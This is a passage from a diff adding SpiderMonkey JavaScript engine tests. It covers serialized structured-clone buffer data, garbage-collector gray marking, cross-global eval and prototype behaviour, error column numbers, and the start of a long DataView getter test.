21, 228, 164, 50, 69, 126, 165, 37, 147, 71, 80, 96, 69, 156, 225, 129, 65, 125, 140, 140, 69, 104, 165, 81, 153, 237, 250, 184, 69, 187, 112, 39, 230, 143, 219, 229, 69, 164, 130, 98, 233, 29, 32, 19, 70, 80, 50, 54, 44, 26, 188, 64, 70, 12, 216, 94, 205, 45, 73, 109, 70, 10, 253, 178, 19, 8, 160, 153, 70, 105, 157, 60, 17, 7, 108, 198, 70, 188, 9, 21, 47, 134, 158, 243, 70, 132, 104, 50, 105, 181, 42, 33, 71, 231, 54, 24, 120, 189, 10, 78, 71, 10, 48, 21, 201, 101, 73, 122, 71, 9, 138, 242, 15, 57, 0, 167, 71, 200, 56, 244, 237, 49, 32, 212, 71, 175, 177, 53, 176, 43, 156, 1, 72, 242, 246, 93, 116, 76, 209, 46, 72, 20, 56, 210, 229, 34, 247, 90, 72, 18, 241, 23, 137, 62, 152, 135, 72, 240, 242, 244, 183, 54, 165, 180, 72, 146, 84, 246, 224, 143, 16, 226, 72, 0, 20, 175, 201, 251, 156, 15, 73, 128, 49, 121, 80, 92, 169, 59, 73, 80, 11, 106, 198, 48, 52, 104, 73, 230, 201, 156, 173, 170, 45, 149, 73, 169, 48, 233, 87, 245, 135, 194, 73, 148, 10, 236, 172, 246, 54, 240, 73, 131, 18, 157, 174, 47, 96, 28, 74, 51, 112, 201, 184, 41, 212, 72, 74, 45, 66, 176, 129, 164, 185, 117, 74, 231, 57, 122, 241, 111, 2, 163, 74, 170, 242, 74, 243, 33, 162, 208, 74, 170, 40, 195, 105, 187, 27, 253, 74, 149, 195, 138, 252, 67, 120, 41, 75, 34, 107, 249, 124, 59, 73, 86, 75, 190, 61, 90, 13, 20, 128, 131, 75, 6, 246, 174, 139, 17, 16, 177, 75, 138, 46, 114, 180, 30, 220, 221, 75, 185, 232, 227, 221, 154, 32, 10, 76, 162, 107, 39, 130, 135, 220, 54, 76, 46, 126, 226, 145, 246, 0, 100, 76, 104, 46, 166, 191, 215, 128, 145, 76, 54, 209, 98, 143, 121, 161, 190, 76, 15, 119, 118, 93, 74, 205, 234, 76, 45, 168, 199, 17, 161, 115, 23, 77, 39, 179, 142, 239, 44, 133, 68, 77, 194, 220, 156, 81, 135, 244, 113, 77, 84, 130, 210, 206, 236, 107, 159, 77, 10, 50, 248, 52, 111, 126, 203, 77, 201, 43, 89, 78, 161, 14, 248, 77, 80, 6, 142, 36, 205, 12, 37, 78, 134, 69, 252, 127, 51, 107, 82, 78, 213, 188, 252, 15, 205, 29, 128, 78, 117, 74, 250, 219, 38, 52, 172, 78, 38, 1, 123, 0, 162, 173, 216, 78, 1, 161, 107, 192, 237, 151, 5, 79, 225, 44, 94, 8, 240, 228, 50, 79, 69, 103, 82, 7, 82, 136, 96, 79, 185, 52, 208, 140, 143, 238, 140, 79, 34, 46, 54, 155, 189, 80, 185, 79, 94, 104, 207, 231, 165, 38, 230, 79, 82, 123, 213, 42, 209, 97, 19, 80, 232, 203, 122, 5, 151, 245, 64, 80, 214, 228, 150, 73, 200, 173, 109, 80, 59, 8, 100, 64, 15, 248, 153, 80, 52, 135, 87, 88, 13, 185, 198, 80, 78, 150, 76, 173, 235, 225, 243, 80, 132, 3, 163, 55, 174, 101, 33, 81, 0, 0, 0, 0, 0, 0, 248, 127);
+captured[26] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[27] = serialize(0); captured[27].clonebuffer = String.fromCharCode(0, 0, 0, 0, 8, 1, 255, 255);
+captured[28] = serialize(0); captured[28].clonebuffer = String.fromCharCode(100, 0, 0, 0, 8, 1, 255, 255, 1, 7, 49, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0);
+captured[29] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19));
+captured[30] = serialize(0); captured[30].clonebuffer = String.fromCharCode(0, 0, 0, 0, 7, 0, 255, 255, 0, 0, 0, 0, 3, 0, 255, 255, 3, 0, 0, 0, 0, 1, 255, 255, 0, 1, 2, 0, 0, 0, 0, 0, 1, 0, 0, 0, 3, 0, 255, 255, 3, 0, 0, 0, 0, 1, 255, 255, 1, 2, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255);
diff --git a/js/src/tests/non262/extensions/clone-v1-typed-array.js b/js/src/tests/non262/extensions/clone-v1-typed-array.js
new file mode 100644
index 0000000000..ae81075e83
--- /dev/null
+++ b/js/src/tests/non262/extensions/clone-v1-typed-array.js
@@ -0,0 +1,130 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// This file is a copy of clone-typed-array.js from before v2 structured clone
+// was implemented. If you run this test under a v1-writing engine with the
+// environment variable JS_RECORD_RESULTS set, then it will output a log of
+// structured clone buffers resulting from running this test. You can then use
+// that log as input to another run of this same test on a newer engine, to
+// verify that older-format structured clone data can be deserialized properly.
+
+var old_serialize = serialize;
+var captured = [];
+
+if (os.getenv("JS_RECORD_RESULTS") !== undefined) {
+ serialize = function(o) {
+ var data;
+ try {
+ data = old_serialize(o);
+ captured.push(data);
+ return data;
+ } catch(e) {
+ captured.push(e);
+ throw(e);
+ }
+ };
+} else {
+ loadRelativeToScript("clone-v1-typed-array-data.dat");
+ serialize = function(d) {
+ var data = captured.shift();
+ if (data instanceof Error)
+ throw(data);
+ else
+ return data;
+ };
+}
+
+function assertArraysEqual(a, b) {
+ assertEq(a.constructor, b.constructor);
+ assertEq(a.length, b.length);
+ for (var i = 0; i < a.length; i++)
+ assertEq(a[i], b[i]);
+}
+
+function check(b) {
+ var a = deserialize(serialize(b));
+ assertArraysEqual(a, b);
+}
+
+function checkPrototype(ctor) {
+ var threw = false;
+ try {
+ serialize(ctor.prototype);
+ throw new Error("serializing " + ctor.name + ".prototype should throw a TypeError");
+ } catch (exc) {
+ if (!(exc instanceof TypeError))
+ throw exc;
+ }
+}
+
+function test() {
+ // Test cloning ArrayBuffer objects.
+ check(new ArrayBuffer(0));
+ check(new ArrayBuffer(7));
+ checkPrototype(ArrayBuffer);
+
+ // Test cloning typed array objects.
+ var ctors = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray];
+
+ var b;
+ for (var i = 0; i < ctors.length; i++) {
+ var ctor = ctors[i];
+
+ // check empty array
+ b = new ctor(0);
+ check(b);
+
+ // check array with some elements
+ b = new ctor(100);
+ var v = 1;
+ for (var j = 0; j < 100; j++) {
+ b[j] = v;
+ v *= 7;
+ }
+ b[99] = NaN; // check serializing NaNs too
+ check(b);
+
+ // try the prototype
+ checkPrototype(ctor);
+ }
+
+ // Cloning should separately copy two TypedArrays backed by the same
+ // ArrayBuffer. This also tests cloning TypedArrays where the arr->data
+ // pointer is not 8-byte-aligned.
+
+ var base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ var a = deserialize(serialize(b));
+ base[1] = -1;
+ a[0][2] = -2;
+ assertArraysEqual(b[0], new Int8Array([0, -1, 2])); // shared with base
+ assertArraysEqual(b[1], new Int8Array([-1, 2, 3])); // shared with base
+ assertArraysEqual(a[0], new Int8Array([0, 1, -2])); // not shared with base
+ assertArraysEqual(a[1], new Int8Array([1, 2, 3])); // not shared with base or a[0]
+}
+
+test();
+reportCompare(0, 0, 'ok');
+
+if (os.getenv("JS_RECORD_RESULTS") !== undefined) {
+ print("var captured = [];");
+ for (var i in captured) {
+ var s = "captured[" + i + "] = ";
+ if (captured[i] instanceof Error) {
+ print(s + captured[i].toString() + ";");
+ } else {
+ data = captured[i].clonebuffer.split('').map(c => c.charCodeAt(0));
+ print(s + "serialize(0); captured[" + i + "].clonebuffer = String.fromCharCode(" + data.join(", ") + ");");
+ }
+ }
+}
diff --git a/js/src/tests/non262/extensions/collect-gray.js b/js/src/tests/non262/extensions/collect-gray.js
new file mode 100644
index 0000000000..4beb9f094f
--- /dev/null
+++ b/js/src/tests/non262/extensions/collect-gray.js
@@ -0,0 +1,153 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1337209;
+var summary =
+ "Test gray marking";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof gczeal !== 'undefined')
+ gczeal(0);
+
+grayRoot().x = Object.create(null);
+addMarkObservers([grayRoot(), grayRoot().x, this, Object.create(null)]);
+gc();
+let marks = getMarks();
+assertEq(marks[0], 'gray', 'gray root');
+assertEq(marks[1], 'gray', 'object reachable from gray root');
+assertEq(marks[2], 'black', 'global');
+assertEq(marks[3], 'dead', 'dead object should have been collected');
+
+grayRoot().x = 7; // Overwrite the object
+gc();
+marks = getMarks();
+assertEq(marks[0], 'gray', 'gray root');
+assertEq(marks[1], 'dead', 'object no longer reachable from gray root');
+assertEq(marks[2], 'black', 'global');
+assertEq(marks[3], 'dead', 'dead object should have been collected');
+
+var wm = new WeakMap();
+var global = newGlobal({newCompartment: true});
+
+var wrapper1 = global.eval("Object.create(null)");
+wrapper1.name = "wrapper1";
+var value1 = Object.create(null);
+wm.set(wrapper1, value1);
+
+var wrapper2 = global.eval("Object.create(null)");
+wrapper2.name = "wrapper2";
+var value2 = global.eval("Object.create(null)");
+wm.set(wrapper2, value2);
+
+grayRoot().root1 = wrapper1;
+grayRoot().root2 = wrapper2;
+clearMarkObservers();
+addMarkObservers([wrapper1, value1, wrapper2, value2]);
+wrapper1 = wrapper2 = null;
+value1 = value2 = null;
+gc();
+marks = getMarks();
+assertEq(marks[0], 'gray', 'gray key 1');
+assertEq(marks[1], 'gray', 'black map, gray key => gray value');
+assertEq(marks[2], 'gray', 'gray key 2');
+assertEq(marks[3], 'gray', 'black map, gray key => gray value');
+
+// Blacken one of the keys
+wrapper1 = grayRoot().root1;
+gc();
+marks = getMarks();
+assertEq(marks[0], 'black', 'black key 1');
+assertEq(marks[1], 'black', 'black map, black key => black value');
+assertEq(marks[2], 'gray', 'gray key 2');
+assertEq(marks[3], 'gray', 'black map, gray key => gray value');
+
+// Test edges from map&delegate => key and map&key => value.
+//
+// In general, when a&b => x, then if both a and b are black, then x must be
+// black. If either is gray and the other is marked (gray or black), then x
+// must be gray (unless otherwise reachable from black.) If neither a nor b is
+// marked at all, then they will not keep x alive.
+
+clearMarkObservers();
+
+// Black map, gray delegate => gray key
+
+// wm is in a variable, so is black.
+wm = new WeakMap();
+
+let key = Object.create(null);
+// delegate unwraps key in the 'global' compartment
+global.grayRoot().delegate = key;
+
+// Create a value and map to it from a gray key, then make the value a gray
+// root.
+let value = Object.create(null);
+wm.set(key, value);
+grayRoot().value = value;
+
+// We are interested in the mark bits of the map, key, and value, as well as
+// the mark bits of the wrapped versions in the other compartment. Note that
+// the other-compartment key is the known as the key's delegate with respect to
+// the weakmap.
+global.addMarkObservers([wm, key, value]);
+addMarkObservers([wm, key, value]);
+
+// Key is otherwise dead in main compartment.
+key = null;
+// Don't want value to be marked black.
+value = null;
+
+gc(); // Update mark bits.
+let [
+ other_map_mark, other_key_mark, other_value_mark,
+ map_mark, key_mark, value_mark
+] = getMarks();
+assertEq(other_map_mark, 'dead', 'nothing points to wm in other compartment');
+assertEq(other_key_mark, 'gray', 'delegate should be gray');
+assertEq(other_value_mark, 'dead', 'nothing points to value wrapper in other compartment');
+assertEq(map_mark, 'black', 'map in var => black');
+assertEq(key_mark, 'gray', 'black map, gray delegate => gray key');
+assertEq(value_mark, 'gray', 'black map, gray delegate/key => gray value');
+
+// Black map, black delegate => black key
+
+// Blacken the delegate by pointing to it from the other global.
+global.delegate = global.grayRoot().delegate;
+
+gc();
+[
+ other_map_mark, other_key_mark, other_value_mark,
+ map_mark, key_mark, value_mark
+] = getMarks();
+assertEq(other_map_mark, 'dead', 'nothing points to wm in other compartment');
+assertEq(other_key_mark, 'black', 'delegate held in global.delegate');
+assertEq(other_value_mark, 'dead', 'nothing points to value wrapper in other compartment');
+assertEq(map_mark, 'black', 'map in var => black');
+assertEq(key_mark, 'black', 'black map, black delegate => black key');
+assertEq(value_mark, 'black', 'black map, black key => black value');
+
+// Gray map, black delegate => gray key. Unfortunately, there's no way to test
+// this, because a WeakMap key's delegate is its wrapper, and there is a strong
+// edge from wrappers to wrappees. The jsapi-test in testGCGrayMarking, inside
+// TestWeakMaps, *does* test this case.
+
+grayRoot().map = wm;
+wm = null;
+
+gc();
+[
+ other_map_mark, other_key_mark, other_value_mark,
+ map_mark, key_mark, value_mark
+] = getMarks();
+assertEq(other_map_mark, 'dead', 'nothing points to wm in other compartment');
+assertEq(other_key_mark, 'black', 'delegate held in global.delegate');
+assertEq(other_value_mark, 'dead', 'nothing points to value wrapper in other compartment');
+assertEq(map_mark, 'gray', 'map is a gray root');
+assertEq(key_mark, 'black', 'black delegate marks its key black');
+assertEq(value_mark, 'gray', 'gray map, black key => gray value');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/column-numbers.js b/js/src/tests/non262/extensions/column-numbers.js
new file mode 100644
index 0000000000..721b05e9f2
--- /dev/null
+++ b/js/src/tests/non262/extensions/column-numbers.js
@@ -0,0 +1,10 @@
+actual = 'No Error';
+expected = /column-numbers\.js:4:11/;
+try {
+ throw new Error("test");
+}
+catch(ex) {
+ actual = ex.stack;
+ print('Caught exception ' + ex.stack);
+}
+reportMatch(expected, actual, 'column number present');
diff --git a/js/src/tests/non262/extensions/cross-global-eval-is-indirect.js b/js/src/tests/non262/extensions/cross-global-eval-is-indirect.js
new file mode 100644
index 0000000000..6cd35846b5
--- /dev/null
+++ b/js/src/tests/non262/extensions/cross-global-eval-is-indirect.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 608473;
+var summary =
+ '|var eval = otherWindow.eval; eval(...)| should behave like indirectly ' +
+ 'calling that eval from a script in that other window';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+var res;
+
+function f()
+{
+ return [this, eval("this")];
+}
+
+var otherGlobalSameCompartment = newGlobal("same-compartment");
+
+eval = otherGlobalSameCompartment.eval;
+res = new f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0] !== this, true);
+assertEq(res[0] instanceof f, true);
+assertEq(res[1], otherGlobalSameCompartment);
+
+res = f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0], this);
+assertEq(res[1], otherGlobalSameCompartment);
+
+var otherGlobalDifferentCompartment = newGlobal();
+
+eval = otherGlobalDifferentCompartment.eval;
+res = new f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0] !== this, true);
+assertEq(res[0] instanceof f, true);
+assertEq(res[1], otherGlobalDifferentCompartment);
+
+res = f();
+assertEq(res[0] !== res[1], true);
+assertEq(res[0], this);
+assertEq(res[1], otherGlobalDifferentCompartment);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/cross-global-getPrototypeOf.js b/js/src/tests/non262/extensions/cross-global-getPrototypeOf.js
new file mode 100644
index 0000000000..1480a8ea15
--- /dev/null
+++ b/js/src/tests/non262/extensions/cross-global-getPrototypeOf.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 770344;
+var summary = "Object.getPrototypeOf behavior across compartments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var other = newGlobal();
+
+var getProto = Object.getPrototypeOf;
+var otherGetProto = other.Object.getPrototypeOf;
+
+var proto = {};
+var obj = Object.create(proto);
+assertEq(getProto(obj), proto);
+assertEq(otherGetProto(obj), proto);
+
+other.proto = proto;
+var otherObj = other.evaluate("Object.create(proto)");
+assertEq(getProto(otherObj), proto);
+assertEq(otherGetProto(otherObj), proto);
+
+var p = other.evaluate("({})");
+var objOtherProto = Object.create(p);
+assertEq(getProto(objOtherProto), p);
+assertEq(otherGetProto(objOtherProto), p);
+
+other.evaluate("var otherProto = { otherProto: 1 }; " +
+ "var otherObj = Object.create(otherProto);");
+assertEq(getProto(other.otherObj), other.otherProto);
+assertEq(otherGetProto(other.otherObj), other.otherProto);
+
+other.evaluate("var newOtherProto = { newOtherProto: 1 }; " +
+ "otherObj.__proto__ = newOtherProto;");
+assertEq(otherGetProto(other.otherObj), other.newOtherProto);
+
+// TODO This assertion fails due to bug 764307
+//assertEq(getProto(other.otherObj), other.newOtherProto);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/dataview.js b/js/src/tests/non262/extensions/dataview.js
new file mode 100644
index 0000000000..b6514df26a
--- /dev/null
+++ b/js/src/tests/non262/extensions/dataview.js
@@ -0,0 +1,1647 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Tobias Schneider <schneider@jancona.com>
+ */
+
+//------------------------------------------------------------------------------
+var BUGNUMBER = 575688;
+var summary = 'DataView tests';
+
+function test(sharedMem) {
+ function die(message, uplevel) {
+ var e = new Error(message);
+ var frame = e.stack.split("\n")[uplevel];
+ print(message + " at " + frame.split("@")[1]);
+ print("Stack:\n" + e.stack);
+ throw(e);
+ }
+
+ function checkThrow(fun, type) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (!thrown) {
+ die('no exception thrown, expected ' + type.name, 2);
+ } else if (!(thrown instanceof type)) {
+ die('expected ' + type.name + ', got ' + thrown, 2);
+ }
+ }
+
+ function checkThrowTODO(fun, type) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (!thrown) {
+ print('(TODO) no exception thrown, expected ' + type.name);
+ } else if (!(thrown instanceof type)) {
+ print('(TODO) expected ' + type.name + ', got ' + thrown);
+ } else {
+ print('test unexpectedly passed: expected ' + type.name + ' exception');
+ }
+ }
+
+ function bufferize(u8array) {
+ if (!sharedMem)
+ return u8array.buffer;
+
+ let v = new Uint8Array(new SharedArrayBuffer(u8array.buffer.byteLength));
+ v.set(u8array);
+
+ // Sanity checking
+ assertEq(v.buffer instanceof SharedArrayBuffer, true);
+ assertEq(v.buffer.byteLength, u8array.buffer.byteLength);
+ assertEq(u8array[0], v[0]);
+
+ return v.buffer;
+ }
+
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ // testConstructor
+ buffer = bufferize(new Uint8Array([1, 2]));
+ checkThrow(() => new DataView(buffer, 0, 3), RangeError);
+ checkThrow(() => new DataView(buffer, 1, 2), RangeError);
+ checkThrow(() => new DataView(buffer, 2, 1), RangeError);
+ checkThrow(() => new DataView(buffer, 2147483649, 0), RangeError);
+ checkThrow(() => new DataView(buffer, 0, 2147483649), RangeError);
+ checkThrow(() => new DataView(), TypeError);
+ checkThrow(() => new DataView(Object.create(new ArrayBuffer(5))), TypeError);
+
+ // testGetMethods
+
+ // testIntegerGets(start=0, length=16)
+ var data1 = [0,1,2,3,0x64,0x65,0x66,0x67,0x80,0x81,0x82,0x83,252,253,254,255];
+ var data1_r = data1.slice().reverse();
+ var buffer1 = bufferize(new Uint8Array(data1));
+ var view1 = new DataView(buffer1, 0, 16);
+ view = view1;
+ assertEq(view.getInt8(0), 0);
+ assertEq(view.getInt8(8), -128);
+ assertEq(view.getInt8(15), -1);
+ assertEq(view.getUint8(0), 0);
+ assertEq(view.getUint8(8), 128);
+ assertEq(view.getUint8(15), 255);
+ // Little endian.
+ assertEq(view.getInt16(0, true), 256);
+ assertEq(view.getInt16(5, true), 0x6665);
+ assertEq(view.getInt16(9, true), -32127);
+ assertEq(view.getInt16(14, true), -2);
+ // Big endian.
+ assertEq(view.getInt16(0), 1);
+ assertEq(view.getInt16(5), 0x6566);
+ assertEq(view.getInt16(9), -32382);
+ assertEq(view.getInt16(14), -257);
+ // Little endian.
+ assertEq(view.getUint16(0, true), 256);
+ assertEq(view.getUint16(5, true), 0x6665);
+ assertEq(view.getUint16(9, true), 0x8281);
+ assertEq(view.getUint16(14, true), 0xfffe);
+ // Big endian.
+ assertEq(view.getUint16(0), 1);
+ assertEq(view.getUint16(5), 0x6566);
+ assertEq(view.getUint16(9), 0x8182);
+ assertEq(view.getUint16(14), 0xfeff);
+ // Little endian.
+ assertEq(view.getInt32(0, true), 0x3020100);
+ assertEq(view.getInt32(3, true), 0x66656403);
+ assertEq(view.getInt32(6, true), -2122291354);
+ assertEq(view.getInt32(9, true), -58490239);
+ assertEq(view.getInt32(12, true), -66052);
+ // Big endian.
+ assertEq(view.getInt32(0), 0x10203);
+ assertEq(view.getInt32(3), 0x3646566);
+ assertEq(view.getInt32(6), 0x66678081);
+ assertEq(view.getInt32(9), -2122152964);
+ assertEq(view.getInt32(12), -50462977);
+ // Little endian.
+ assertEq(view.getUint32(0, true), 0x3020100);
+ assertEq(view.getUint32(3, true), 0x66656403);
+ assertEq(view.getUint32(6, true), 0x81806766);
+ assertEq(view.getUint32(9, true), 0xfc838281);
+ assertEq(view.getUint32(12, true), 0xfffefdfc);
+ // Big endian.
+ assertEq(view.getUint32(0), 0x10203);
+ assertEq(view.getUint32(3), 0x3646566);
+ assertEq(view.getUint32(6), 0x66678081);
+ assertEq(view.getUint32(9), 0x818283fc);
+ assertEq(view.getUint32(12), 0xfcfdfeff);
+
+ // testFloatGets(start=0)
+
+ // testFloatGet expected=10
+ // Little endian
+ var data2 = [0,0,32,65];
+ var data2_r = data2.slice().reverse();
+ var buffer2 = bufferize(new Uint8Array(data2));
+ view = new DataView(buffer2, 0, 4);
+ assertEq(view.getFloat32(0, true), 10);
+ var buffer2_pad3 = bufferize(new Uint8Array(Array(3).concat(data2)));
+ view = new DataView(buffer2_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), 10);
+ var buffer2_pad7 = bufferize(new Uint8Array(Array(7).concat(data2)));
+ view = new DataView(buffer2_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), 10);
+ var buffer2_pad10 = bufferize(new Uint8Array(Array(10).concat(data2)));
+ view = new DataView(buffer2_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ var buffer2_r = bufferize(new Uint8Array(data2_r));
+ view = new DataView(buffer2_r, 0, 4);
+ assertEq(view.getFloat32(0, false), 10);
+ var buffer2_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data2_r)));
+ view = new DataView(buffer2_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), 10);
+ var buffer2_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data2_r)));
+ view = new DataView(buffer2_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), 10);
+ var buffer2_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data2_r)));
+ view = new DataView(buffer2_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatGet expected=1.2300000190734863
+ // Little endian
+ var data3 = [164,112,157,63];
+ var data3_r = data3.slice().reverse();
+ var buffer3 = bufferize(new Uint8Array(data3));
+ view = new DataView(buffer3, 0, 4);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ var buffer3_pad3 = bufferize(new Uint8Array(Array(3).concat(data3)));
+ view = new DataView(buffer3_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ var buffer3_pad7 = bufferize(new Uint8Array(Array(7).concat(data3)));
+ view = new DataView(buffer3_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ var buffer3_pad10 = bufferize(new Uint8Array(Array(10).concat(data3)));
+ view = new DataView(buffer3_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ var buffer3_r = bufferize(new Uint8Array(data3_r));
+ view = new DataView(buffer3_r, 0, 4);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
+ var buffer3_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data3_r)));
+ view = new DataView(buffer3_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ var buffer3_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data3_r)));
+ view = new DataView(buffer3_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ var buffer3_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data3_r)));
+ view = new DataView(buffer3_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatGet expected=-45621.37109375
+ // Little endian
+ var data4 = [95,53,50,199];
+ var data4_r = data4.slice().reverse();
+ var buffer4 = bufferize(new Uint8Array(data4));
+ view = new DataView(buffer4, 0, 4);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ var buffer4_pad3 = bufferize(new Uint8Array(Array(3).concat(data4)));
+ view = new DataView(buffer4_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ var buffer4_pad7 = bufferize(new Uint8Array(Array(7).concat(data4)));
+ view = new DataView(buffer4_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ var buffer4_pad10 = bufferize(new Uint8Array(Array(10).concat(data4)));
+ view = new DataView(buffer4_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ var buffer4_r = bufferize(new Uint8Array(data4_r));
+ view = new DataView(buffer4_r, 0, 4);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ var buffer4_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data4_r)));
+ view = new DataView(buffer4_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ var buffer4_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data4_r)));
+ view = new DataView(buffer4_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ var buffer4_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data4_r)));
+ view = new DataView(buffer4_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data5 = [255,255,255,127];
+ var data5_r = data5.slice().reverse();
+ var buffer5 = bufferize(new Uint8Array(data5));
+ view = new DataView(buffer5, 0, 4);
+ assertEq(view.getFloat32(0, true), NaN);
+ var buffer5_pad3 = bufferize(new Uint8Array(Array(3).concat(data5)));
+ view = new DataView(buffer5_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), NaN);
+ var buffer5_pad7 = bufferize(new Uint8Array(Array(7).concat(data5)));
+ view = new DataView(buffer5_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), NaN);
+ var buffer5_pad10 = bufferize(new Uint8Array(Array(10).concat(data5)));
+ view = new DataView(buffer5_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ var buffer5_r = bufferize(new Uint8Array(data5_r));
+ view = new DataView(buffer5_r, 0, 4);
+ assertEq(view.getFloat32(0, false), NaN);
+ var buffer5_r_pad3 = bufferize(new Uint8Array(Array(3).concat(data5_r)));
+ view = new DataView(buffer5_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), NaN);
+ var buffer5_r_pad7 = bufferize(new Uint8Array(Array(7).concat(data5_r)));
+ view = new DataView(buffer5_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), NaN);
+ var buffer5_r_pad10 = bufferize(new Uint8Array(Array(10).concat(data5_r)));
+ view = new DataView(buffer5_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data6 = [255,255,255,255];
+ var data6_r = data6.slice().reverse();
+ var buffer6 = bufferize(new Uint8Array(data6));
+ view = new DataView(buffer6, 0, 4);
+ assertEq(view.getFloat32(0, true), NaN);
+ var buffer6_pad3 = bufferize(new Uint8Array(Array(3).concat(data6)));
+ view = new DataView(buffer6_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), NaN);
+ var buffer6_pad7 = bufferize(new Uint8Array(Array(7).concat(data6)));
+ view = new DataView(buffer6_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), NaN);
+ var buffer6_pad10 = bufferize(new Uint8Array(Array(10).concat(data6)));
+ view = new DataView(buffer6_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ var buffer6_r = bufferize(new Uint8Array(data6_r));
